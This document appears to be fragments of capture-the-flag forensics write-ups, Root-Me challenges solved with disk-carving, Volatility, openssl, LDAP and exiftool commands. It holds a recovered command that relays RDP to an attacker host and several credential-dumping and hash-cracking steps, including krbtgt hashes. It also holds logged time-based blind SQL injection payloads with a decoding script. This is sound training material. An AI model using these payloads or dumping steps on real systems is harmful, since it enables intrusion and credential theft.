1
file usb.image
2
usb.image: DOS/MBR boot sector, code offset 0x3c+2, OEM-ID "mkfs.fat", sectors/cluster 4, reserved sectors 4, root entries 512, sectors 63488 (volumes <=32 MB), Media descriptor 0xf8, sectors/FAT 64, sectors/track 62, heads 124, hidden sectors 2048, reserved 0x1, serial number 0xc7ecde5b, label: "USB", FAT (16 bit)

1
fls usb.image
2
r/r 3:  USB         (Volume Label Entry)
3
r/r * 5:        anonyme.png
4
v/v 1013699:    $MBR
5
v/v 1013700:    $FAT1
6
v/v 1013701:    $FAT2
7
V/V 1013702:    $OrphanFiles

1
icat usb.image 5 > anonyme.png

1
Flag: j****_turcot

1
https://github.com/frankthetank-music/Acropalypse-Multi-Tool/blob/main/acropalypse.py

1
import argparse
2
from acropalypse import Acropalypse
3

4
def main():
5
    parser = argparse.ArgumentParser(description="Acropalypse (CVE-2023-21036) PNG recovery tool")
6
    parser.add_argument("image_path", help="Path to the cropped PNG image")
7
    parser.add_argument("--width", type=int, required=True, help="Original image width before cropping")
8
    parser.add_argument("--height", type=int, required=True, help="Original image height before cropping")
9
    parser.add_argument("--alpha", action="store_true", help="Use RGBA (truecolor with alpha)")
10

11
    args = parser.parse_args()
12

13
    tool = Acropalypse()
14

15
    print(f"[+] Checking if '{args.image_path}' is vulnerable...")
16
    result = tool.detect_png(args.image_path)
17

18
    if result is True:
19
        print("[!] Image appears vulnerable. Proceeding to reconstruct...")
20
        tool.reconstruct_image(args.image_path, args.width, args.height, args.alpha)
21
        print("[+] Image reconstruction completed. Output written to system temp folder as 'restored.png'")
22
    else:
23
        print(f"[x] Not vulnerable or error: {result}")
24

25
if __name__ == "__main__":
26
    main()

1
acropalypse --width 1920 --height 2400 --alpha Capture.png

1
volatility -f ch2.dmp imageinfo
2
Volatility Foundation Volatility Framework 2.6.1
3
INFO    : volatility.debug    : Determining profile based on KDBG search...
4
          Suggested Profile(s) : Win7SP1x86_23418, Win7SP0x86, Win7SP1x86_24000, Win7SP1x86
5
                     AS Layer1 : IA32PagedMemoryPae (Kernel AS)
6
                     AS Layer2 : FileAddressSpace (/home/minhtuan/Documents/Cyber_Security/CTFs/RootMe/ch2.dmp)
7
                      PAE type : PAE
8
                           DTB : 0x185000L
9
                          KDBG : 0x82929be8L
10
          Number of Processors : 1
11
     Image Type (Service Pack) : 0
12
                KPCR for CPU 0 : 0x8292ac00L
13
             KUSER_SHARED_DATA : 0xffdf0000L
14
           Image date and time : 2013-01-12 16:59:18 UTC+0000
15
     Image local date and time : 2013-01-12 17:59:18 +0100

1
volatility -f ch2.dmp --profile=Win7SP1x86_23418 printkey -K "ControlSet001\Control\ComputerName\ComputerName"
2
Volatility Foundation Volatility Framework 2.6.1
3
Legend: (S) = Stable   (V) = Volatile
4

5
----------------------------
6
Registry: \REGISTRY\MACHINE\SYSTEM
7
Key name: ComputerName (S)
8
Last updated: 2013-01-12 00:58:30 UTC+0000
9

10
Subkeys:
11

12
Values:
13
REG_SZ                        : (S) mnmsrvc
14
REG_SZ        ComputerName    : (S) WIN-ETSA91RKCFP

1
volatility -f ch2.dmp --profile=Win7SP1x86_23418 pstree

1
0x87b6b030:iexplore.exe                            2772   2548      2     74 2013-01-12 16:40:34 UTC+0000
2
.0x89898030:cmd.exe                                1616   2772      2    101 2013-01-12 16:55:49 UTC+0000

1
volatility -f ch2.dmp --profile=Win7SP1x86_23418 cmdline -p 2772
2
Volatility Foundation Volatility Framework 2.6.1
3
************************************************************************
4
iexplore.exe pid:   2772
5
Command line : "C:\Users\John Doe\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\iexplore.exe"

1
volatility -f ch2.dmp imageinfo
2
Volatility Foundation Volatility Framework 2.6.1
3
INFO    : volatility.debug    : Determining profile based on KDBG search...
4
          Suggested Profile(s) : Win7SP1x86_23418, Win7SP0x86, Win7SP1x86_24000, Win7SP1x86
5
                     AS Layer1 : IA32PagedMemoryPae (Kernel AS)
6
                     AS Layer2 : FileAddressSpace (/home/minhtuan/Documents/Cyber_Security/CTFs/RootMe/ch2.dmp)
7
                      PAE type : PAE
8
                           DTB : 0x185000L
9
                          KDBG : 0x82929be8L
10
          Number of Processors : 1
11
     Image Type (Service Pack) : 0
12
                KPCR for CPU 0 : 0x8292ac00L
13
             KUSER_SHARED_DATA : 0xffdf0000L
14
           Image date and time : 2013-01-12 16:59:18 UTC+0000
15
     Image local date and time : 2013-01-12 17:59:18 +0100

1
. 0x87b6b030:iexplore.exe                            2772   2548      2     74 2013-01-12 16:40:34 UTC+0000
2
.. 0x89898030:cmd.exe                                1616   2772      2    101 2013-01-12 16:55:49 UTC+0000

1
ConsoleProcess: conhost.exe Pid: 2168
2
Console: 0x1081c0 CommandHistorySize: 50
3
HistoryBufferCount: 3 HistoryBufferMax: 4
4
OriginalTitle: %SystemRoot%\system32\cmd.exe
5
Title: C:\Windows\system32\cmd.exe
6
AttachedProcess: cmd.exe Pid: 1616 Handle: 0x64
7
----
8
CommandHistory: 0x427a60 Application: tcprelay.exe Flags:
9
CommandCount: 0 LastAdded: -1 LastDisplayed: -1
10
FirstCommand: 0 CommandCountMax: 50
11
ProcessHandle: 0x0
12
----
13
CommandHistory: 0x427890 Application: whoami.exe Flags:
14
CommandCount: 0 LastAdded: -1 LastDisplayed: -1
15
FirstCommand: 0 CommandCountMax: 50
16
ProcessHandle: 0x0
17
----
18
CommandHistory: 0x427700 Application: cmd.exe Flags: Allocated
19
CommandCount: 0 LastAdded: -1 LastDisplayed: -1
20
FirstCommand: 0 CommandCountMax: 50
21
ProcessHandle: 0x64
22
----
23
Screen 0x416348 X:80 Y:300
24
Dump:

1
 strings ch2.dmp | grep "tcprelay.exe"
2
  tcprelay.exe
3
  tcprelay.exe
4
  tcprelay.exe
5
tcprelay.exe 192.168.0.22 3389 yourcsecret.co.tv 443
6
tcprelay.exe 192.168.0.22 3389 yourcsecret.co.tv 443
7
tcprelay.exe 192.168.0.22 3389 yourcsecret.co.tv 443
8
C:\Users\JOHNDO~1\AppData\Local\Temp\TEMP23\tcprelay.exeg[j
9
\Users\John Doe\AppData\Local\Temp\TEMP23\tcprelay.exe
10
\Users\John Doe\AppData\Local\Temp\TEMP23\tcprelay.exe
11
  tcprelay.exe
12
5C:\Users\JOHNDO~1\AppData\Local\Temp\TEMP23\tcprelay.exeg[j
13
tcprelay.exe 192.168.0.22 3389 yourcsecret.co.tv 443
14
C:\Users\JOHNDO~1\AppData\Local\Temp\TEMP23\tcprelay.exe
15
C:\Users\JOHNDO~1\AppData\Local\Temp\TEMP23\tcprelay.exe
16
C:\Users\John Doe\AppData\Local\Temp\TEMP23\tcprelay.exeN_
17
tcprelay.exe 192.168.0.22 3389 yourcsecret.co.tv 443
18
01/12/2013  05:57 PM            22,078 tcprelay.exe
19
mp\TEMP23\tcprelay.exe
20
 Doe\AppData\Local\Temp\TEMP23\tcprelay.exeJ
21
C:\Users\JOHNDO~1\AppData\Local\Temp\TEMP23\tcprelay.exeg[j
22
C:\Users\JOHNDO~1\AppData\Local\Temp\TEMP23\tcprelay.exe
23
C:\Users\JOHNDO~1\AppData\Local\Temp\TEMP23\tcprelay.exe
24
tcprelay.exe 192.168.0.22 3389 yourcsecret.co.tv 443
25
01/12/2013  05:57 PM            22,078 tcprelay.exe
26
tcprelay.exe 192.168.0.22 3389 yourcsecret.co.tv 443
27
C:\Users\JOHNDO~1\AppData\Local\Temp\TEMP23\tcprelay.exe
28
C:\Users\John Doe\AppData\Local\Temp\TEMP23\tcprelay.exeN_
29
C:\Users\John Doe\AppData\Local\Temp\TEMP23\tcprelay.exeJ"
30
C:\Users\John Doe\AppData\Local\Temp\TEMP23\tcprelay.exeN_
31
C:\Users\John Doe\AppData\Local\Temp\TEMP23\tcprelay.exeJ"
32
5C:\Users\JOHNDO~1\AppData\Local\Temp\TEMP23\tcprelay.exeg[j
33
tcprelay.exe 192.168.0.22 3389 yourcsecret.co.tv 443

1
volatility -f ch2.dmp --profile=Win7SP1x86_23418 hashdump
2
Volatility Foundation Volatility Framework 2.6.1
3
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
4
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
5
John Doe:1000:aad3b435b51404eeaad3b435b51404ee:b9f917853e3dbf6e6831ecce60725930:::

1
john --format=nt --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
2

3
#passw0rd

1
0x87b6b030:iexplore.exe                            2772   2548      2     74 2013-01-12 16:40:34 UTC+0000
2
.0x89898030:cmd.exe                                1616   2772      2    101 2013-01-12 16:55:49 UTC+0000

1
volatility -f ch2.dmp --profile=Win7SP1x86_23418 procdump --pid=2772 --dump-dir=.
2

3
Volatility Foundation Volatility Framework 2.6.1
4
Process(V) ImageBase  Name                 Result
5
---------- ---------- -------------------- ------
6
0x87b6b030 0x00400000 iexplore.exe         OK: executable.2772.exe

1
keepass MasterKee.DMP
2
....
3
Password candidates (character positions):
4
Unknown characters are displayed as "●"
5
1.:     ●
6
2.:     e, 3, Ï, §, ', ñ, D, ­, \, #, y, k, 9, ;, H, B, q, a,
7
3.:     r,
8
4.:     e,
9
5.:     _,
10
6.:     I,
11
7.:     s,
12
8.:     _,
13
9.:     M,
14
10.:    y,
15
11.:    _,
16
12.:    V,
17
13.:    3,
18
14.:    r,
19
15.:    y,
20
16.:    _,
21
17.:    S,
22
18.:    3,
23
19.:    c,
24
20.:    r,
25
21.:    3,
26
22.:    t,
27
23.:    _,
28
24.:    P,
29
25.:    4,
30
26.:    s,
31
27.:    s,
32
28.:    w,
33
29.:    0,
34
30.:    r,
35
31.:    d,
36
32.:    2,
37
33.:    0,
38
34.:    2,
39
35.:    4,
40
36.:    !,
41
Combined: ●{e, 3, Ï, §, ', ñ, D, ­, \, #, y, k, 9, ;, H, B, q, a}re_Is_My_V3ry_S3cr3t_P4ssw0rd2024!

1
Here_Is_My_V3ry_S3cr3t_P4ssw0rd2024!

1
file root-disk001.vmdk
2
root-disk001.vmdk: VMware4 disk image

1
mmls root-disk001.vmdk
2
DOS Partition Table
3
Offset Sector: 0
4
Units are in 512-byte sectors
5

6
      Slot      Start        End          Length       Description
7
000:  Meta      0000000000   0000000000   0000000001   Primary Table (#0)
8
001:  -------   0000000000   0000002047   0000002048   Unallocated
9
002:  000:000   0000002048   0015988735   0015986688   Linux (0x83)
10
003:  -------   0015988736   0015990783   0000002048   Unallocated
11
004:  Meta      0015990782   0016775167   0000784386   DOS Extended (0x05)
12
005:  Meta      0015990782   0015990782   0000000001   Extended Table (#1)
13
006:  001:000   0015990784   0016775167   0000784384   Linux Swap / Solaris x86 (0x82)
14
007:  -------   0016775168   0016777215   0000002048   Unallocated

1
 fls -o 2048 -r root-disk001.vmdk | grep ".passwd"
2

3
++ r/r 262505:  passwd
4
++ r/r 262212:  opasswd
5
++ r/r 262501:  chpasswd
6
++ r/r 262504:  passwd
7
++ r/l * 262492(realloc):       passwd.dpkg-new
8
+ r/r 269356:   passwd
9
+ r/r 262265:   passwd-
10
++++ r/r 455:   base-passwd.postinst
11
++++ r/r 775:   passwd.preinst
12
++++ r/r 237:   base-passwd.md5sums
13
++++ r/r 774:   passwd.conffiles
14
++++ r/r 766:   passwd.md5sums
15
++++ r/r 776:   passwd.postinst
16
++++ r/r 453:   base-passwd.preinst
17
++++ r/r 461:   base-passwd.list
18
++++ r/r 454:   base-passwd.postrm
19
++++ r/r 456:   base-passwd.templates
20
++++ r/r 778:   passwd.list
21
++++ r/r 132190:        base-passwd
22
++++ r/r 137462:        passwd
23
++ d/d 132314:  base-passwd
24
+++ r/r 132193: passwd.master
25
+++ r/r * 132193(realloc):      passwd.master.dpkg-new
26
+++ r/r * 137158:       passwd.master.dpkg-tmp
27
++ r/r * 133989:        gpasswd
28
++ r/r * 133990:        passwd
29
++ r/r 131167:  gpasswd
30
++ r/r 131168:  passwd
31
++ r/r 139881:  grub-mkpasswd-pbkdf2
32
++ r/r * 139881(realloc):       grub-mkpasswd-pbkdf2.dpkg-new
33
++ r/r * 132189:        update-passwd
34
++ r/r * 131133:        chpasswd
35
++ r/r * 131135:        chgpasswd
36
+ r/r 269358:   .passwd
37
+ r/r * 263164: .passwd~

1
icat -o 2048 root-disk001.vmdk 269358
2
Bravo voici le flag :
3

4
F1aG-M3_PlEas3:)
5

6
Congratulation ! You may validate using this flag
7

8
F1aG-M3_PlEas3:)

1
{"created":"2021-10-20T20:37:10.282265118Z","created_by":"/bin/sh -c echo -n
2
$(curl -s https://pastebin.com/raw/P9Nkw866) |
3
openssl enc -aes-256-cbc -iter 10 -pass pass:$(cat /pass.txt) -out flag.enc"}

1
tar -xvf 3309d6da2bd696689a815f55f18db3f173bc9b9a180e5616faf4927436cf199d.tar
2
flag.enc

1
tar -xvf 316bbb8c58be42c73eefeb8fc0fdc6abb99bf3d5686dd5145fc7bb2f32790229.tar
2
pass.txt

1
openssl enc -aes-256-cbc -d -iter 10 -pass file:pass.txt -in flag.enc
2

3
Well_D0ne_D0ckER_L@y3rs_Inspect0R

1
 python3 analysis.py -f ../../ch31.json
2
[>] Loading ../../ch31.json ... done.
3
[]> help
4
 - searchbase                          Sets the LDAP search base.
5
 - object_by_property_name             Search for an object containing a property by name in LDAP.
6
 - object_by_property_value            Search for an object containing a property by value in LDAP.
7
 - object_by_dn                        Search for an object by its distinguishedName in LDAP.
8
 - search_for_kerberoastable_users     Search for users accounts linked to at least one service in LDAP.
9
 - search_for_asreproastable_users     Search for users with DONT_REQ_PREAUTH parameter set to True in LDAP.
10
 - help                                Displays this help message.
11
 - exit                                Exits the script.
12
[]>

1
python3 analysis.py -f ../../ch31.json
2
[>] Loading ../../ch31.json ... done.
3
[]> help
4
 - searchbase                          Sets the LDAP search base.
5
 - object_by_property_name             Search for an object containing a property by name in LDAP.
6
 - object_by_property_value            Search for an object containing a property by value in LDAP.
7
 - object_by_dn                        Search for an object by its distinguishedName in LDAP.
8
 - search_for_kerberoastable_users     Search for users accounts linked to at least one service in LDAP.
9
 - search_for_asreproastable_users     Search for users with DONT_REQ_PREAUTH parameter set to True in LDAP.
10
 - help                                Displays this help message.
11
 - exit                                Exits the script.
12
[]> search_for_kerberoastable_users
13
[CN=Alexandria,CN=Users,DC=ROOTME,DC=local] => servicePrincipalName
14
 - ['HTTP/SRV-RDS.rootme.local']
15
[]>

1
object_by_dn CN=Alexandria,CN=Users,DC=ROOTME,DC=local
2
.
3
.
4
.
5
"name": "Alexandria",
6
    "objectGUID": "{aead746c-2a21-42f8-89bf-2080ec5b2a9f}",
7
    "userAccountControl": 66048,
8
    "badPwdCount": 0,
9
    "codePage": 0,
10
    "countryCode": 0,
11
    "badPasswordTime": "1601-01-01 00:00:00",
12
    "lastLogoff": "1601-01-01 00:00:00",
13
    "lastLogon": "1601-01-01 00:00:00",
14
    "pwdLastSet": "2022-08-29 22:26:06",
15
    "primaryGroupID": 513,
16
    "objectSid": "S-1-5-21-1356747155-1897123353-4258384033-2092",
17
    "accountExpires": "9999-12-31 23:59:59",
18
    "logonCount": 0,
19
    "sAMAccountName": "a.newton",
20
    "sAMAccountType": 805306368,
21
    "servicePrincipalName": [
22
        "HTTP/SRV-RDS.rootme.local"
23
    ],
24
    "objectCategory": "CN=Person,CN=Schema,CN=Configuration,DC=ROOTME,DC=local",
25
    "dSCorePropagationData": [
26
        "1601-01-01 00:00:00"
27
    ],
28
    "mail": "alexandria.newton@rootme.local"

1
secretsdump.py -system "registry/SYSTEM" -ntds "Active Directory/ntds.dit" LOCAL | grep "krbtgt"
2

3
/home/minhtuan/.local/lib/python3.13/site-packages/impacket/version.py:10: UserWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_resources package is slated for removal as early as 2025-11-30. Refrain from using this package or pin to Setuptools<81.
4
  import pkg_resources
5
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:1a3cf03faaf1b5a34e4d538e2206f8f0:::
6
krbtgt:aes256-cts-hmac-sha1-96:85c422e6d4f4e340b445c6a3f16d8d7b25bfdf290d956134bc0d5b6ab272b475
7
krbtgt:aes128-cts-hmac-sha1-96:fd526233205e13c0b8225087e848a101
8
krbtgt:des-cbc-md5:4f1f767686e52019

1
192.168.1.23 - - [18/Jun/2015:12:12:54 +0200] "GET /admin/?action=membres&order=ASC,(select (case field(concat(substring(bin(ascii(substring(password,1,1))),1,1),substring(bin(ascii(substring(password,1,1))),2,1)),concat(char(48),char(48)),concat(char(48),char(49)),concat(char(49),char(48)),concat(char(49),char(49)))when 1 then TRUE when 2 then sleep(2) when 3 then sleep(4) when 4 then sleep(6) end) from membres where id=1) HTTP/1.1" 200 1005 "-" "-"
2
192.168.1.23 - - [18/Jun/2015:12:13:00 +0200] "GET /admin/?action=membres&order=ASC,(select (case field(concat(substring(bin(ascii(substring(password,1,1))),3,1),substring(bin(ascii(substring(password,1,1))),4,1)),concat(char(48),char(48)),concat(char(48),char(49)),concat(char(49),char(48)),concat(char(49),char(49)))when 1 then TRUE when 2 then sleep(2) when 3 then sleep(4) when 4 then sleep(6) end) from membres where id=1) HTTP/1.1" 200 1005 "-" "-"
3
192.168.1.23 - - [18/Jun/2015:12:13:00 +0200] "GET /admin/?action=membres&order=ASC,(select (case field(concat(substring(bin(ascii(substring(password,1,1))),5,1),substring(bin(ascii(substring(password,1,1))),6,1)),concat(char(48),char(48)),concat(char(48),char(49)),concat(char(49),char(48)),concat(char(49),char(49)))when 1 then TRUE when 2 then sleep(2) when 3 then sleep(4) when 4 then sleep(6) end) from membres where id=1) HTTP/1.1" 200 1005 "-" "-"
4
192.168.1.23 - - [18/Jun/2015:12:13:06 +0200] "GET /admin/?action=membres&order=ASC,(select (case field(concat(substring(bin(ascii(substring(password,1,1))),7,1)),char(48),char(49)) when 1 then sleep(2) when 2 then sleep(4)  end) from membres where id=1) HTTP/1.1" 200 832 "-" "-"
5
192.168.1.23 - - [18/Jun/2015:12:13:10 +0200] "GET /admin/?action=membres&order=ASC,(select (case field(concat(substring(bin(ascii(substring(password,2,1))),1,1),substring(bin(ascii(substring(password,2,1))),2,1)),concat(char(48),char(48)),concat(char(48),char(49)),concat(char(49),char(48)),concat(char(49),char(49)))when 1 then TRUE when 2 then sleep(2) when 3 then sleep(4) when 4 then sleep(6) end) from membres where id=1) HTTP/1.1" 200 1005 "-" "-"
6
192.168.1.23 - - [18/Jun/2015:12:13:16 +0200] "GET /admin/?action=membres&order=ASC,(select (case field(concat(substring(bin(ascii(substring(password,2,1))),3,1),substring(bin(ascii(substring(password,2,1))),4,1)),concat(char(48),char(48)),concat(char(48),char(49)),concat(char(49),char(48)),concat(char(49),char(49)))when 1 then TRUE when 2 then sleep(2) when 3 then sleep(4) when 4 then sleep(6) end) from membres where id=1) HTTP/1.1" 200 1005 "-" "-"
7
192.168.1.23 - - [18/Jun/2015:12:13:20 +0200] "GET /admin/?action=membres&order=ASC,(select (case field(concat(substring(bin(ascii(substring(password,2,1))),5,1),substring(bin(ascii(substring(password,2,1))),6,1)),concat(char(48),char(48)),concat(char(48),char(49)),concat(char(49),char(48)),concat(char(49),char(49)))when 1 then TRUE when 2 then sleep(2) when 3 then sleep(4) when 4 then sleep(6) end) from membres where id=1) HTTP/1.1" 200 1005 "-" "-"
8
192.168.1.23 - - [18/Jun/2015:12:13:22 +0200] "GET /admin/?action=membres&order=ASC,(select (case field(concat(substring(bin(ascii(substring(password,2,1))),7,1)),char(48),char(49)) when 1 then sleep(2) when 2 then sleep(4)  end) from membres where id=1) HTTP/1.1" 200 832 "-" "-"

1
ASC,
2
(select
3
  (case
4
    field(
5
      concat(
6
        substring(bin(ascii(substring(password,1,1))),1,1),
7
        substring(bin(ascii(substring(password,1,1))),2,1)
8
      ),
9
      concat(char(48),char(48)),
10
      concat(char(48),char(49)),
11
      concat(char(49),char(48)),
12
      concat(char(49),char(49))
13
    )
14
    when 1 then TRUE
15
    when 2 then sleep(2)
16
    when 3 then sleep(4)
17
    when 4 then sleep(6)
18
  end
19
  )
20
from membres where id=1
21
)

1
192.168.1.23 - - [18/Jun/2015:12:13:10 +0200] "GET /admin/?action=membres&order=ASC,(select (case field(concat(substring(bin(ascii(substring(password,2,1))),1,1),substring(bin(ascii(substring(password,2,1))),2,1)),concat(char(48),char(48)),concat(char(48),char(49)),concat(char(49),char(48)),concat(char(49),char(49)))when 1 then TRUE when 2 then sleep(2) when 3 then sleep(4) when 4 then sleep(6) end) from membres where id=1) HTTP/1.1" 200 1005 "-" "-"
2
192.168.1.23 - - [18/Jun/2015:12:13:16 +0200] "GET /admin/?action=membres&order=ASC,(select (case field(concat(substring(bin(ascii(substring(password,2,1))),3,1),substring(bin(ascii(substring(password,2,1))),4,1)),concat(char(48),char(48)),concat(char(48),char(49)),concat(char(49),char(48)),concat(char(49),char(49)))when 1 then TRUE when 2 then sleep(2) when 3 then sleep(4) when 4 then sleep(6) end) from membres where id=1) HTTP/1.1" 200 1005 "-" "-"
3
192.168.1.23 - - [18/Jun/2015:12:13:20 +0200] "GET /admin/?action=membres&order=ASC,(select (case field(concat(substring(bin(ascii(substring(password,2,1))),5,1),substring(bin(ascii(substring(password,2,1))),6,1)),concat(char(48),char(48)),concat(char(48),char(49)),concat(char(49),char(48)),concat(char(49),char(49)))when 1 then TRUE when 2 then sleep(2) when 3 then sleep(4) when 4 then sleep(6) end) from membres where id=1) HTTP/1.1" 200 1005 "-" "-"
4
192.168.1.23 - - [18/Jun/2015:12:13:22 +0200] "GET /admin/?action=membres&order=ASC,(select (case field(concat(substring(bin(ascii(substring(password,2,1))),7,1)),char(48),char(49)) when 1 then sleep(2) when 2 then sleep(4)  end) from membres where id=1) HTTP/1.1" 200 832 "-" "-"
5
192.168.1.23 - - [18/Jun/2015:12:13:22 +0200] "GET /admin/?action=membres&order=ASC,(select (case field(concat(substring(bin(ascii(substring(password,3,1))),1,1),substring(bin(ascii(substring(password,3,1))),2,1)),concat(char(48),char(48)),concat(char(48),char(49)),concat(char(49),char(48)),concat(char(49),char(49)))when 1 then TRUE when 2 then sleep(2) when 3 then sleep(4) when 4 then sleep(6) end) from membres where id=1) HTTP/1.1" 200 1005 "-" "-"
6
192.168.1.23 - - [18/Jun/2015:12:17:02 +0200] "GET /admin/?action=membres&order=ASC,(select (case field(concat(substring(bin(ascii(substring(password,21,1))),1,1),substring(bin(ascii(substring(password,21,1))),2,1)),concat(char(48),char(48)),concat(char(48),char(49)),concat(char(49),char(48)),concat(char(49),char(49)))when 1 then TRUE when 2 then sleep(2) when 3 then sleep(4) when 4 then sleep(6) end) from membres where id=1) HTTP/1.1" 200 1007 "-" "-"
7
192.168.1.23 - - [18/Jun/2015:12:17:02 +0200] "GET /admin/?action=membres&order=ASC,(select (case field(concat(substring(bin(ascii(substring(password,21,1))),3,1),substring(bin(ascii(substring(password,21,1))),4,1)),concat(char(48),char(48)),concat(char(48),char(49)),concat(char(49),char(48)),concat(char(49),char(49)))when 1 then TRUE when 2 then sleep(2) when 3 then sleep(4) when 4 then sleep(6) end) from membres where id=1) HTTP/1.1" 200 1007 "-" "-"
8
192.168.1.23 - - [18/Jun/2015:12:17:02 +0200] "GET /admin/?action=membres&order=ASC,(select (case field(concat(substring(bin(ascii(substring(password,21,1))),5,1),substring(bin(ascii(substring(password,21,1))),6,1)),concat(char(48),char(48)),concat(char(48),char(49)),concat(char(49),char(48)),concat(char(49),char(49)))when 1 then TRUE when 2 then sleep(2) when 3 then sleep(4) when 4 then sleep(6) end) from membres where id=1) HTTP/1.1" 200 1007 "-" "-"
9
192.168.1.23 - - [18/Jun/2015:12:17:02 +0200] "GET /admin/?action=membres&order=ASC,(select (case field(concat(substring(bin(ascii(substring(password,21,1))),7,1)),char(48),char(49)) when 1 then sleep(2) when 2 then sleep(4)  end) from membres where id=1) HTTP/1.1" 200 833 "-" "-"

1
import sys
2
from datetime import datetime
3

4
f = open("ch13.txt", "r")
5

6
timeList = []
7

8
char = ''
9
flag = ""
10

11
for line in f:
12
  timeList += [line[30:38]]
13

14
f.close()
15

16
for i in range(len(timeList)-1):
17
  print (datetime.strptime(timeList[i], '%H:%M:%S'))
18
  print (datetime.strptime(timeList[i+1], '%H:%M:%S'))
19

20
  timeleft = datetime.strptime(timeList[i+1], '%H:%M:%S') - datetime.strptime(timeList[i], '%H:%M:%S')
21
  if(i%4 in [0,1,2]):
22
    if(str(timeleft) == '0:00:00'):
23
      char += '00'
24
    if(str(timeleft) == '0:00:02'):
25
      char += '01'
26
    if(str(timeleft) == '0:00:04'):
27
      char += '10'
28
    if(str(timeleft) == '0:00:06'):
29
      char += '11'
30
  if(i%4 == 3):
31
    if(str(timeleft) == '0:00:02'):
32
      char += '0'
33
    if(str(timeleft) == '0:00:04'):
34
      char += '1'
35
    print (char)
36
    flag += chr(int(char,2))
37
    char = ''
38

39
print(flag)
40

41
#g9UWD8EZgBhBpc4nTSAS

1
file ch9
2
ch9: DOS/MBR boot sector; partition 1 : ID=0xb, start-CHS (0x0,32,33), end-CHS (0x10,81,1), startsector 2048, 260096 sectors, extended partition table (last)

1
mmls ch9
2
DOS Partition Table
3
Offset Sector: 0
4
Units are in 512-byte sectors
5

6
      Slot      Start        End          Length       Description
7
000:  Meta      0000000000   0000000000   0000000001   Primary Table (#0)
8
001:  -------   0000000000   0000002047   0000002048   Unallocated
9
002:  000:000   0000002048   0000262143   0000260096   Win95 FAT32 (0x0b)

1
fls -o 2048 -r ch9
2
d/d 5:  Documentations
3
+ r/r 25:       tartes_flambee_a_volonte_francais_2013.pdf
4
+ r/r 28:       mangeur-de-cigogne (1).pdf
5
+ r/r * 32:     La résistance électronique.pdf
6
+ r/r 34:       Menu AC.pdf
7
+ r/r 54726:    brasserie_jo_dinner_menu.pdf
8
+ r/r 54729:    Courba13-01.pdf
9
+ r/r 54731:    m-flamm.pdf
10
+ r/r 54734:    Barbey_Cigognes_BDC.pdf
11
+ r/r * 54738:  Anarchie, indolence & synarchie.pdf
12
+ r/r * 178246: anarchistscookbookv2000.pdf
13
+ r/r 178250:   texte_migration_des_cigognes.pdf
14
+ r/r 178253:   mangeur-de-cigogne.pdf
15
d/d 7:  Files
16
+ r/r * 246775: revendications.odt
17
+ r/r 246778:   421_20080208011.doc
18
+ r/r 246780:   Coker.doc
19
+ r/r 246784:   DataSanitizationTutorial.odt
20
+ r/r 363796:   Creer_votre_association.doc
21
d/d 9:  WebSites
22
+ d/d 365610:   Apple - iPhone - iPhone 4 Technical Specifications_files
23
....

1
icat -o 2048 ch9.img  246775 >  revendications.odt

1
exiftool 1000000000000CC000000990038D2A62.jpg
2
ExifTool Version Number         : 13.25
3
File Name                       : 1000000000000CC000000990038D2A62.jpg
4
Directory                       : .
5
File Size                       : 2.3 MB
6
File Modification Date/Time     : 2013:07:22 21:25:22+07:00
7
File Access Date/Time           : 2025:06:27 21:49:05+07:00
8
File Inode Change Date/Time     : 2025:05:19 18:49:12+07:00
9
File Permissions                : -rw-r--r--
10
File Type                       : JPEG
11
File Type Extension             : jpg
12
MIME Type                       : image/jpeg
13
Exif Byte Order                 : Big-endian (Motorola, MM)
14
Make                            : Apple
15
Camera Model Name               : iPhone 4S
16
Orientation                     : Horizontal (normal)
17
X Resolution                    : 72
18
Y Resolution                    : 72
19
Resolution Unit                 : inches
20
Software                        : 6.1.2
21
Modify Date                     : 2013:03:11 11:47:07
22
Y Cb Cr Positioning             : Centered
23
Exposure Time                   : 1/20
24
F Number                        : 2.4
25
Exposure Program                : Program AE
26
ISO                             : 160
27
Exif Version                    : 0221
28
Date/Time Original              : 2013:03:11 11:47:07
29
Create Date                     : 2013:03:11 11:47:07
30
Components Configuration        : Y, Cb, Cr, -
31
Shutter Speed Value             : 1/20
32
Aperture Value                  : 2.4
33
Brightness Value                : 1.477742947
34
Metering Mode                   : Multi-segment
35
Flash                           : Off, Did not fire
36
Focal Length                    : 4.3 mm
37
Subject Area                    : 1631 1223 881 881
38
Flashpix Version                : 0100
39
Color Space                     : sRGB
40
Exif Image Width                : 3264
41
Exif Image Height               : 2448
42
Sensing Method                  : One-chip color area
43
Exposure Mode                   : Auto
44
White Balance                   : Auto
45
Focal Length In 35mm Format     : 35 mm
46
Scene Capture Type              : Standard
47
GPS Latitude Ref                : North
48
GPS Longitude Ref               : East
49
GPS Altitude Ref                : Above Sea Level
50
GPS Time Stamp                  : 07:46:50.85
51
GPS Img Direction Ref           : True North
52
GPS Img Direction               : 247.3508772
53
Compression                     : JPEG (old-style)
54
Thumbnail Offset                : 902
55
Thumbnail Length                : 8207
56
Image Width                     : 3264
57
Image Height                    : 2448
58
Encoding Process                : Baseline DCT, Huffman coding
59
Bits Per Sample                 : 8
60
Color Components                : 3
61
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
62
Aperture                        : 2.4
63
Image Size                      : 3264x2448
64
Megapixels                      : 8.0
65
Scale Factor To 35 mm Equivalent: 8.2
66
Shutter Speed                   : 1/20
67
Thumbnail Image                 : (Binary data 8207 bytes, use -b option to extract)
68
GPS Altitude                    : 16.7 m Above Sea Level
69
GPS Latitude                    : 47 deg 36' 16.15" N
70
GPS Longitude                   : 7 deg 24' 52.48" E
71
Circle Of Confusion             : 0.004 mm
72
Field Of View                   : 54.4 deg
73
Focal Length                    : 4.3 mm (35 mm equivalent: 35.0 mm)
74
GPS Position                    : 47 deg 36' 16.15" N, 7 deg 24' 52.48" E
75
Hyperfocal Distance             : 2.08 m
76
Light Value                     : 6.2

1
GPS Position: 47 deg 36' 16.15" N, 7 deg 24' 52.48" E

1
python2 DuckDecoder.py decode ../file.bin
2

3

4
DELAY 5100
5

6
